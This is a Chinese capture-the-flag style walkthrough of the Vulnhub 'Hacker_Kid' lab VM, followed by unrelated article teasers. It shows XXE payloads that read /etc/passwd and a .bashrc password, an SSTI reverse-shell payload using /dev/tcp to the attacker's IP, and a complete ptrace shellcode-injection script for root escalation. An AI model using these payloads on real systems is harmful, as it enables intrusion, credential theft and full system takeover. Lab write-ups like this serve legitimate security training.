OSCP-Vulnhub靶机记录-Hacker_Kid-v1.0.1

news2024/11/27 15:48:10

Vulnhub靶机记录-Hacker_Kid-v1.0.1

  • 介绍&安装
  • 信息收集
  • 页面源代码
  • DIG信息收集
  • xxe漏洞
  • 探测9999端口
  • SSTI模板注入
  • 发现具有Capabilities特殊操作权限的程序
    • 原理

介绍&安装

靶机名称:Hacker_Kid-v1.0.1

靶机难度:中等
虚拟机环境:此靶机推荐使用vm搭建

目标:取得root权限

靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

kali服务器IP
192.168.132.139

靶机IP
192.168.132.143

机器地址:

安装好靶机:
在这里插入图片描述

信息收集

主机发现:
nmap -sS -sV -T5 -A -P 192.168.132.0/24

nmap -sS -sV -T5 -A -P 192.168.132.142

Nmap scan report for 192.168.132.143
Host is up (0.00045s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Notorious Kid : A Hacker 
9999/tcp open  http    Tornado httpd 6.1
|_http-server-header: TornadoServer/6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
MAC Address: 00:0C:29:6B:E2:B6 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80端口
在这里插入图片描述

这里有个提示:DIG,结合53端口DNS服务,后面可以尝试DNS枚举

页面源代码

直接看一下源码
view-source:http://192.168.132.143/#app.html

在这里插入图片描述
用page_no 作为GET参数浏览页面,先试一下1:

http://192.168.132.143/?page_no=1

在这里插入图片描述

使用burp抓包
http://192.168.132.143/?page_no=1
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

得到 21:

在这里插入图片描述

得到一个子域名:hackers.blackhat.local

DIG信息收集

添加到 /etc/hosts

在这里插入图片描述

└─# vim /etc/hosts

添加 192.168.132.143 hackers.blackhat.local


vim 强制保存只读文件
:w !sudo tee %

O
esc
:wq!
y

在这里插入图片描述

挖到新子域名:
└─# dig hackers.blackhat.local @192.168.132.143

在这里插入图片描述

继续添加进/etc/hosts

└─# vim /etc/hosts

添加 192.168.132.143 hackerkid.blackhat.local


vim 强制保存只读文件
:w !sudo tee %

O
esc
:wq!
y

然后访问这个子域名:

在这里插入图片描述

xxe漏洞

继续带burp看看:
在这里插入图片描述

XML格式,可以试试XXE注入漏洞:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

3被带出来了,email是注入点

放到repeater里X进去

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>
<name>
123
</name>
<tel>
123
</tel>
<email>
&test;
</email>
<password>
123
</password>
</root>

`

成功带出/etc/passwd
在这里插入图片描述

只有root 和saket用户具备登陆bash的权限,/bin/bash

尝试查看配置信息.bashrc无果,将参数用base64编码后,再用php协议请求:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
 
<root>
<name>
123
</name>
<tel>
123
</tel>
<email>
&test;
</email>
<password>
123
</password>
</root>

在这里插入图片描述

解码,复制到攻击机,并查看,在文档最后找到一个用户名和密码:

在这里插入图片描述


#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

探测9999端口

在9999端口的界面试一下:

admin登不上

换成saket以后成功登录:
http://192.168.132.143:9999/
在这里插入图片描述

SSTI模板注入

9999端口,运行的是tornado WebSever,搜索了他的使用手册,有GET和POST两种方法传递参数,这里先尝试GET:

把name作为参数传进去,成功了:

在这里插入图片描述

尝试SSTI注入: {{7*7}}
在这里插入图片描述

http://192.168.132.143:9999/?name= 1 + a b c x y z {{1+abcxyz}} 1+abcxyz{1+abcxyz}%3C%1+abcxyz%%3E[abcxyz]

在这里插入图片描述

通用payload,页面报错说明存在模板注入漏洞

既然存在模板注入漏洞,那就可以进行反弹shell的操作,首先在kali上监听端口,并将python反弹shell语句使用encodeURIComponent进行编码

编码前:{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.132.139/4444 0>&1"')}}
这里的192.168.132.139ip就是攻击机ip,注意监听端口要一致
 
编码后:http://192.168.132.143:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.132.139%2F9999%200%3E%261%22')%7D%7D



url编码后再输入地址栏:

%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%26%3E%20%2Fdev%2Ftcp%2F192.168.132.139%2F4444%200%3E%261%22')%7D%7D

攻击机开启监听模式

nc -nvlp 9001

http://192.168.132.143:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%26%3E%20%2Fdev%2Ftcp%2F192.168.132.139%2F4444%200%3E%261%22%27)%7D%7D

在这里插入图片描述

连接反弹shell:
在这里插入图片描述

发现具有Capabilities特殊操作权限的程序

从根目录下递归查询具有Capabilities特殊操作权限的程序

/usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述
发现python具备cap_sys_ptrace+ep 权限,进行利用然后进行提权。

原理

Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。与之相关的资料参见:https://man7.org/linux/man-pages/man7/capabilities.7.html

提权脚本:

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 
 
import ctypes
import sys
import struct
 
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
 
PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17
 
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
 
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]
 
libc = ctypes.CDLL("libc.so.6")
 
pid=int(sys.argv[1])
 
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
 
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
 
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
 
print("Instruction Pointer: " + hex(registers.rip))
 
print("Injecting Shellcode at: " + hex(registers.rip))
 
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
 
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
 
print("Shellcode Injected!!")
 
# Modify the instuction pointer
registers.rip=registers.rip+2
 
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
 
print("Final Instruction Pointer: " + hex(registers.rip))
 
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

把inject.py复制到攻击机,
/home/yonghu/in.py
并设置in.py的权限

在这里插入图片描述

然后开启http服务,在靶机通过wget下载in.py

python2 -m SimpleHTTPServer
wget 192.168.132.139:8000/in.py

在这里插入图片描述

因为需要找root进程进行注入,所以简单写个脚本对root进程进行批量尝试:

for i in ps -ef|grep root|grep -v "grep"|awk '{print $2}'; do python2.7 in.py $i; done

在这里插入图片描述

然后 查看5600是否开启:

在这里插入图片描述

进程注入成功

攻击机nc连这个端口:

nc -nv 192.168.132.143 5600

在这里插入图片描述

root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/166857.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】线程互斥

目录&#x1f308;前言&#x1f338;1、Linux线程互斥&#x1f367;1.1、线程间互斥相关背景概念&#x1f368;1.2、互斥量(锁)相关背景&#x1f36f;1.3、互斥量(锁)相关API&#x1f36f;1.3.1、初始化和销毁互斥锁&#x1f370;1.3.2、互斥量加锁和解锁&#x1f372;1.3.3、互…

Python爬虫403错误的解决方案

前言程序使用一段时间后会遇到HTTP Error 403: Forbidden错误。 因为在短时间内直接使用Get获取大量数据&#xff0c;会被服务器认为在对它进行攻击&#xff0c;所以拒绝我们的请求&#xff0c;自动把电脑IP封了。 解决这个问题有两种方法。一是将请求加以包装&#xff0c;变成…

1.浮动float

提示&#xff1a;如果多一个盒子&#xff08;都设置浮动&#xff0c;则它们会按照属性值一行内显示并且顶端对齐排列&#xff09; 注意&#xff1a; 浮动的元素是互相贴靠在一起的&#xff0c;&#xff08;没有缝隙&#xff09;&#xff0c;如果父级宽度装下这些浮动盒子&#…

MyBatis 详解 (2) -- 增删改操作

MyBatis 详解 2 -- 增删改操作前言一、准备工作1.1 创建数据库和表1.2 添加实体类1.3 添加 mapper 接口 (数据持久层)1.4 创建与接口对应的 xml 文件二、增加操作2.1 默认返回受影响的行数2.2 特殊的新增&#xff1a;返回自增 id三、删除操作四、修改操作五、实现完整交互5.1 添…

爆肝9万字,我已从小白晋升ARM嵌入式工程师!带你从零熟悉常用的M4嵌入式功能,建议收藏(含码源)

&#x1f4da; 前言 &#x1f4d1;博客主页&#xff1a;丘比特惩罚陆 &#x1f496;欢迎关注&#xff1a;点赞收藏⭐留言✒ &#x1f4ac;系列专栏&#xff1a;web前端、嵌入式、笔记专栏 &#x1f3ae; 加入社区&#xff1a; 丘比特惩罚陆 &#x1f947;人生格言&#xff1a;选…

【教学赛】金融数据分析赛题1:银行客户认购产品预测(0.9676)

本文是对天池教学赛&#xff0c;银行客户认购产品预测的记录&#xff0c;教学赛网址如下&#xff1a; 【教学赛】金融数据分析赛题1&#xff1a;银行客户认购产品预测_学习赛_天池大赛-阿里云天池 1. 读取数据 import pandas as pd# 加载数据 train pd.read_csv(train.csv) …

P5587 打字练习————C++

题目 打字练习 题目描述 R 君在练习打字。 有这样一个打字练习网站&#xff0c;给定一个范文和输入框&#xff0c;会根据你的输入计算准确率和打字速度。可以输入的字符有小写字母、空格和 .&#xff08;英文句号&#xff09;&#xff0c;输入字符后&#xff0c;光标也会跟…

c语言小练pintia11-20

11.计算平均分已知某位学生的数学、英语和计算机课程的成绩分别是87分、72分和93分&#xff0c;求该生3门课程的平均成绩&#xff08;结果按整型输出&#xff09;。输入格式&#xff1a;本题无输入输出格式&#xff1a;按照下列格式输出结果&#xff1a;math 87, eng 72, com…

深耕地市区县市场,新华三智行中国走新路

2022年就这样结束了&#xff0c;但是企业数字化的进程从未结束。回顾这一年&#xff0c;对于任何企业而言&#xff0c;数字化优先的战略仍然在继续。不仅如此&#xff0c;数字化走向地市区县市场&#xff0c;带来了更多的机遇和发展&#xff0c;让我们看到了中国的数字经济还有…

Flurry iOS端调研和使用

Flurry iOS端调研使用 flurry官方资料较少&#xff0c;且只有英文文档没有代码demo。公司项目确定要用Flurry&#xff0c;所以深入调研&#xff0c;顺便记录过程。有需要的小伙伴也可以顺便参考 一.创建应用拿api_key 官网&#xff1a;https://www.flurry.com/ 用邮箱去官网…

【目标检测】55、YOLOv8 | YOLOv5 团队 Ultralytics 再次出手,又实现了 SOTA

文章目录一、YOLO 系列算法的简单回顾二、YOLOv8 简介2.1 安装和简单使用2.2 Ultralytics HUB2.2.1 Upload Dataset2.3 YOLOv8 主要改动三、YOLOv8 细节详述论文&#xff1a;暂无 官方文档&#xff1a;https://docs.ultralytics.com/ 代码&#xff1a;https://github.com/ult…

【算法数据结构初阶篇】:链表问题

一、反转单双链表 一、数据结构图 二、代码演示 public class Code01_ReverseList {public static class Node {public int value;public Node next;public Node(int data) {value data;}}public static class DoubleNode {public int value;public DoubleNode last;public …

Spring Cloud Gateway从注册中心自动注册配置路由信息

环境信息Spring Boot&#xff1a;2.0.8.RELEASESpring Boot内置的tomcat&#xff1a;tomcat-embed-core 8.5.37Spring Cloud Gateway&#xff1a;2.0.4.RELEASENacos&#xff1a;2.0.4.RELEASE需求Spring Cloud Gateway注册到注册中心&#xff08;这里是Nacos&#xff0c;其它注…

Spring学习系列(二)

Spring_特殊值的注入问题和各种类型的自动装配1.set两种方式的区别第4中赋值方式&#xff1a;自动装配&#xff08;只适用于ref类型&#xff09;使用注解定义bean1.set两种方式的区别 &#xff08;1&#xff09;把值写到value属性里面&#xff0c;必须加引号&#xff0c;写到子…

【学习】计算机系统硬件和数据结构

学习内容描述&#xff1a; 1、CPU包含哪些部分&#xff1f; 2、数据结构基础知识。 重点知识&#xff1a; 1、CPU(中央处理器&#xff0c;Central Processing Unit) 主要包括运算器、控制器两大部件&#xff1b;内部结构包含控制单元、运算单元、存储单元和时钟等几个主要部…

虚拟直播(虚拟场景直播)要怎么做?

阿酷TONY / 2022-11-21 / 长沙 绿幕抠像 虚拟场景&#xff08;三维场景&#xff09;实时渲染&#xff0c;来一场虚拟直播。 附案例效果&#xff1a;PC端案例、移动端案例效果。 目录 1. 绿幕虚拟直播间 2. 虚拟场景(炫酷舞台) 3. 案例&#xff1a;PC端 4. 案例&#xff1a…

光纤内窥镜物镜光学设计

光纤内窥镜物镜光学设计 工作原理 典型的光纤传像束内窥镜主要由前置物镜、光纤传像束、目镜/耦接镜、 探测器等组成&#xff0c;如图1所示。通过物镜把目标成像于光纤传像束的前端面上&#xff0c;该端面上的图像被离散分布的大量光纤采样&#xff0c;每根光纤都有良好的光学…

[极客大挑战 2019]Upload

目录 解题步骤 常见的绕过思路 解题步骤 直接上传shell 回显&#xff1a;Not image! bp抓包 修改类型 Content-Type: application/octet-stream改为Content-Type: image/jpg 回显&#xff1a;NOT&#xff01;php! 修改后缀为phtml 回显&#xff1a;NO! HACKER! your file inc…

SAP MM 物料分类账的启用配置

一、前言 物料账就是一本账&#xff0c;管理物料的数量和价值。 通常物料有两种计价方法&#xff1a; 移动平均价V&#xff08;移动加权平均&#xff09; 标准价S 移动平均价的优点&#xff1a;能够及时响应市场原材料价格的波动。 价差科目&#xff08;总账科目&#xff09;…

MyBatis-Plus基本操作

依赖 <dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.4.3</version> </dependency>基础操作 DAO层 public interface UserMapper extends BaseMapper<User…